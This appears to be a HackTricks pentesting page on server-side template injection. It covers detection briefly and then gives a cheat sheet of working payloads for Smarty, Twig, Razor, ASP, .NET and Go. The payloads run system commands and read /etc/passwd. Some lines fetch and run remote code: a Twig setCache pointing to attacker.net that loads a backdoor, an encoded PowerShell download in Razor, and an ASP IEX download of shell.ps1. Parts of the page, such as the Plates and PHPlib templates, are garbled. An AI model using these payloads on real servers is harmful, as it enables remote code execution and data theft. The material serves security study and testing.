# SSTI (Server Side Template Injection)
{{#include ../../banners/hacktricks-training.md}}
## What is SSTI (Server-Side Template Injection)
Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.
Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:
```python
output = template.render(name=request.args.get('name'))
```
In this vulnerable code, the `name` parameter from the user's request is directly passed into the template using the `render` function. This can potentially allow an attacker to inject malicious code into the `name` parameter, leading to server-side template injection.
For instance, an attacker could craft a request with a payload like this:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
### Detection
To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:
- Thrown errors, revealing the vulnerability and potentially the template engine.
- Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
- **Plaintext Context**: Distinguish from XSS by checking if the server evaluates template expressions (e.g., `{{7*7}}`, `${7*7}`).
- **Code Context**: Confirm vulnerability by altering input parameters. For instance, changing `greeting` in `http://vulnerable-website.com/?greeting=data.username` to see if the server's output is dynamic or fixed, like in `greeting=data.username}}hello` returning the username.
#### Identification Phase
Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.
#### Identification by payloads
- More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**More information**
- In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
- `{{7*'7'}} = 49`
- `{{1/0}} = Error`
- `{{foobar}} Nothing`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Template format**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**More information**
- In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.
Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Page template:
```php
layout('template', ['title' => 'User Profile']) ?>
User Profile
Hello, =$this->e($name)?>
```
Layout template:
```html
=$this->e($title)?>
=$this->section('content')?>
```
**More information**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
### PHPlib and HTML_Template_PHPLIB (PHP)
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear.
`authors.tpl`
```html
{PAGE_TITLE}
Authors
Name
Email
{NUM_AUTHORS}
{AUTHOR_NAME}
{AUTHOR_EMAIL}
```
`authors.php`
```php
'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**More information**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
### Other PHP
- More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
- `@(2+2) <= Success`
- `@() <= Success`
- `@("{{code}}") <= Success`
- `@ <=Success`
- `@{} <= ERROR!`
- `@{ <= ERRROR!`
- `@(1+2)`
- `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**More information**
- [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/]()
- [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = Nothing
- `<%= response.write(date()) %>` = \
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**More Information**
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### .Net Bypassing restrictions
The .NET Reflection mechanisms can be used to bypass blacklisting or classes not being present in the assembly. DLL's can be loaded at runtime with methods and properties accessible from basic objects.
Dll's can be loaded with:
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - from filesystem.
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - directly from request.
Full command execution:
```
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
```
**More Information**
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
### Mojolicious (Perl)
Even if it's perl it uses tags like ERB in Ruby.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### SSTI in GO
In Go's template engine, confirmation of its usage can be done with specific payloads:
- `{{ . }}`: Reveals the data structure input. For instance, if an object with a `Password` attribute is passed, `{{ .Password }}` could expose it.
- `{{printf "%s" "ssti" }}`: Expected to display the string "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation [here](https://golang.org/pkg/text/template).
**XSS Exploitation**
With the `text/template` package, XSS can be straightforward by inserting the payload directly. Contrastingly, the `html/template` package encodes the response to prevent this (e.g., `{{""}}` results in `<script>alert(1)</script>`). Nonetheless, template definition and invocation in Go can bypass this encoding: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Exploitation**
RCE exploitation differs significantly between `html/template` and `text/template`. The `text/template` module allows calling any public function directly (using the “call” value), which is not permitted in `html/template`. Documentation for these modules is available [here for html/template](https://golang.org/pkg/html/template/) and [here for text/template](https://golang.org/pkg/text/template/).
For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a `System` method executing commands, it can be exploited like `{{ .System "ls" }}`. Accessing the source code is usually necessary to exploit this, as in the given example:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**More information**
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### More Exploits
Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## Related Help
If you think it could be useful, read:
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
## Tools
- [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
- [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Brute-Force Detection List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Practice & References
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
- [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
{{#include ../../banners/hacktricks-training.md}}